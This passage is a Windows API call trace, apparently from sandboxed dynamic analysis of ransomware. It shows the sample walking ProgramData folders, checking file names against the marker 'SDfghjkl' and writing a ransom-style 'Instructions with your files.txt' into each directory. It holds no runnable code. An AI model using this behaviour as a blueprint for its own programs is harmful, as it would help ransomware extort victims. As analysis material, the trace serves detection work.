[0131.938] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\store\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.939] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.939] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.940] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.940] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.940] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.940] CloseHandle (hObject=0x11c) returned 1
[0131.940] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.940] GetProcessHeap () returned 0x810000
[0131.940] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0131.940] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xb3b94d80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3b94d80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Store", cAlternateFileName="")) returned 0
[0131.940] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Instructions with your files.txt") returned 96
[0131.940] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.940] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.941] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.941] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.941] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.941] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.941] CloseHandle (hObject=0x118) returned 1
[0131.941] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.942] GetProcessHeap () returned 0x810000
[0131.942] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.942] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3f4cfe0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3f4cfe0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f73140, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.942] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\Instructions with your files.txt") returned 88
[0131.942] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.942] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3f4cfe0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3f4cfe0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f73140, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.942] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\Instructions with your files.txt") returned 88
[0131.942] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.942] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.943] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.943] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.943] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.943] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.943] CloseHandle (hObject=0x114) returned 1
[0131.943] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.943] GetProcessHeap () returned 0x810000
[0131.943] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.943] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3f73140, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f73140, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 1
[0131.943] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support") returned 57
[0131.943] GetProcessHeap () returned 0x810000
[0131.943] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.943] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\*") returned 59
[0131.943] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3f73140, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f73140, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.944] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\.") returned 59
[0131.944] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3f73140, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f73140, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.944] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\..") returned 60
[0131.944] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3f73140, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3f73140, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f73140, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.944] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\Instructions with your files.txt") returned 90
[0131.944] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.944] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76792c22, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x9cb42550, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x31196, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPLog-07132009-221054.log", cAlternateFileName="MPLOG-~1.LOG")) returned 1
[0131.944] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log") returned 83
[0131.944] StrStrIW (lpFirst="MPLog-07132009-221054.log", lpSrch="SDfghjkl") returned 0x0
[0131.944] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76792c22, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x9cb42550, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x31196, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPLog-07132009-221054.log", cAlternateFileName="MPLOG-~1.LOG")) returned 0
[0131.944] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\Instructions with your files.txt") returned 90
[0131.944] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\support\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.944] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.945] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.945] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.945] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.945] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.945] CloseHandle (hObject=0x114) returned 1
[0131.945] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.945] GetProcessHeap () returned 0x810000
[0131.945] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.945] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3f73140, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f73140, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 0
[0131.946] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Instructions with your files.txt") returned 82
[0131.946] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.946] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.947] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.947] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.947] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.947] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.947] CloseHandle (hObject=0x110) returned 1
[0131.948] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.948] GetProcessHeap () returned 0x810000
[0131.948] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.948] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb40c9da0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb40c9da0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1
[0131.948] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT") returned 43
[0131.948] GetProcessHeap () returned 0x810000
[0131.948] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.948] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\*") returned 45
[0131.948] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb40c9da0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb40c9da0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.948] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\.") returned 45
[0131.948] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb40c9da0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb40c9da0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.948] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\..") returned 46
[0131.948] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb40c9da0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb40c9da0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb40eff00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.948] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\Instructions with your files.txt") returned 76
[0131.948] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.948] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb400b6c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb400b6c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFax", cAlternateFileName="")) returned 1
[0131.948] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned 49
[0131.948] GetProcessHeap () returned 0x810000
[0131.948] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.948] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*") returned 51
[0131.948] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb400b6c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb400b6c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.948] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\.") returned 51
[0131.948] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb400b6c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb400b6c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.948] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\..") returned 52
[0131.948] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3f992a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f992a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivityLog", cAlternateFileName="ACTIVI~1")) returned 1
[0131.948] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned 61
[0131.949] GetProcessHeap () returned 0x810000
[0131.949] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.949] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*") returned 63
[0131.949] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3f992a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f992a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.949] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\.") returned 63
